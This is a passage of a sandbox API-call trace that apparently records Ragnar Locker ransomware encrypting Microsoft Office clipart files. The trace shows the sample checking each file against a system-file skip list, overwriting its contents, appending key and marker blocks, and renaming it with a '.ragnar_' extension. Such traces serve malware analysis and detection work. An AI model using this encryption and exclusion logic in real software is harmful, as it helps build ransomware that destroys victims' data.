lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.ragnar_FD7BD9FC" [0085.518] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.519] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187647.WMF", cAlternateFileName="")) returned 1 [0085.519] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.519] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187647.WMF" | out: lpString1="J0187647.WMF") returned="J0187647.WMF" [0085.519] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned=".WMF" [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="autorun.inf") returned 1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="boot.ini") returned 1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="bootfont.bin") returned 1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="bootsect.bak") returned 1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="bootmgr") returned 1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="bootmgr.efi") returned 1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="bootmgfw.efi") returned 1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="desktop.ini") returned 1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="iconcache.db") returned 1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="ntldr") returned -1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="ntuser.dat") returned -1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="ntuser.dat.log") returned -1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="ntuser.ini") returned -1 [0085.519] lstrcmpiW (lpString1="J0187647.WMF", lpString2="thumbs.db") returned -1 [0085.519] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.519] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.519] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.519] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.519] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.519] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.519] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf")) returned 0x20 [0085.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.521] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6596) returned 1 [0085.521] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.521] GetProcessHeap () returned 0x580000 [0085.521] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.521] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.522] VirtualAlloc (lpAddress=0x0, dwSize=0x19c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.522] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.522] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.522] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x19c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x19c4, lpOverlapped=0x0) returned 1 [0085.523] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.523] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.523] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x19c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x19c4, lpOverlapped=0x0) returned 1 [0085.523] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.523] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.524] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.524] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.524] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.524] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.524] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.524] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.524] GetProcessHeap () returned 0x580000 [0085.524] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.524] CloseHandle (hObject=0xf4) returned 1 [0085.524] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" [0085.524] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.ragnar_FD7BD9FC" [0085.524] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.525] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1500, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187815.WMF", cAlternateFileName="")) returned 1 [0085.525] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.525] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187815.WMF" | out: lpString1="J0187815.WMF") returned="J0187815.WMF" [0085.525] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned=".WMF" [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="autorun.inf") returned 1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="boot.ini") returned 1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="bootfont.bin") returned 1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="bootsect.bak") returned 1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="bootmgr") returned 1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="bootmgr.efi") returned 1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="bootmgfw.efi") returned 1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="desktop.ini") returned 1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="iconcache.db") returned 1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="ntldr") returned -1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="ntuser.dat") returned -1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="ntuser.dat.log") returned -1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="ntuser.ini") returned -1 [0085.525] lstrcmpiW (lpString1="J0187815.WMF", lpString2="thumbs.db") returned -1 [0085.525] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.525] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.525] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.525] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.525] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.525] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.526] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.526] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf")) returned 0x20 [0085.526] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.526] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5376) returned 1 [0085.526] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.526] GetProcessHeap () returned 0x580000 [0085.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.526] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.528] VirtualAlloc (lpAddress=0x0, dwSize=0x1500, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.528] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.528] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.528] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1500, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1500, lpOverlapped=0x0) returned 1 [0085.529] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.529] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1500, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.529] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1500, lpOverlapped=0x0) returned 1 [0085.530] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1500, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.530] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.530] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1500, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.530] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.530] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.530] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.530] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.530] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.530] GetProcessHeap () returned 0x580000 [0085.530] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.530] CloseHandle (hObject=0xf4) returned 1 [0085.530] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" [0085.530] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.ragnar_FD7BD9FC" [0085.530] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.531] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187817.WMF", cAlternateFileName="")) returned 1 [0085.531] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.531] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187817.WMF" | out: lpString1="J0187817.WMF") returned="J0187817.WMF" [0085.531] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned=".WMF" [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="autorun.inf") returned 1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="boot.ini") returned 1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="bootfont.bin") returned 1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="bootsect.bak") returned 1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="bootmgr") returned 1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="bootmgr.efi") returned 1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="bootmgfw.efi") returned 1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="desktop.ini") returned 1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="iconcache.db") returned 1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="ntldr") returned -1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="ntuser.dat") returned -1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="ntuser.dat.log") returned -1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="ntuser.ini") returned -1 [0085.531] lstrcmpiW (lpString1="J0187817.WMF", lpString2="thumbs.db") returned -1 [0085.532] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.532] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.532] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.532] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.532] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.532] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.532] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf")) returned 0x20 [0085.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.532] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11644) returned 1 [0085.532] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.532] GetProcessHeap () returned 0x580000 [0085.532] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.532] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.534] VirtualAlloc (lpAddress=0x0, dwSize=0x2d7c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.534] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.534] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2d7c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2d7c, lpOverlapped=0x0) returned 1 [0085.535] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.535] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.535] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2d7c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2d7c, lpOverlapped=0x0) returned 1 [0085.535] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.535] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.535] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.535] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.535] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.536] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.536] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.536] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.536] GetProcessHeap () returned 0x580000 [0085.536] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.536] CloseHandle (hObject=0xf4) returned 1 [0085.536] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" [0085.536] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.ragnar_FD7BD9FC" [0085.536] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.537] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, 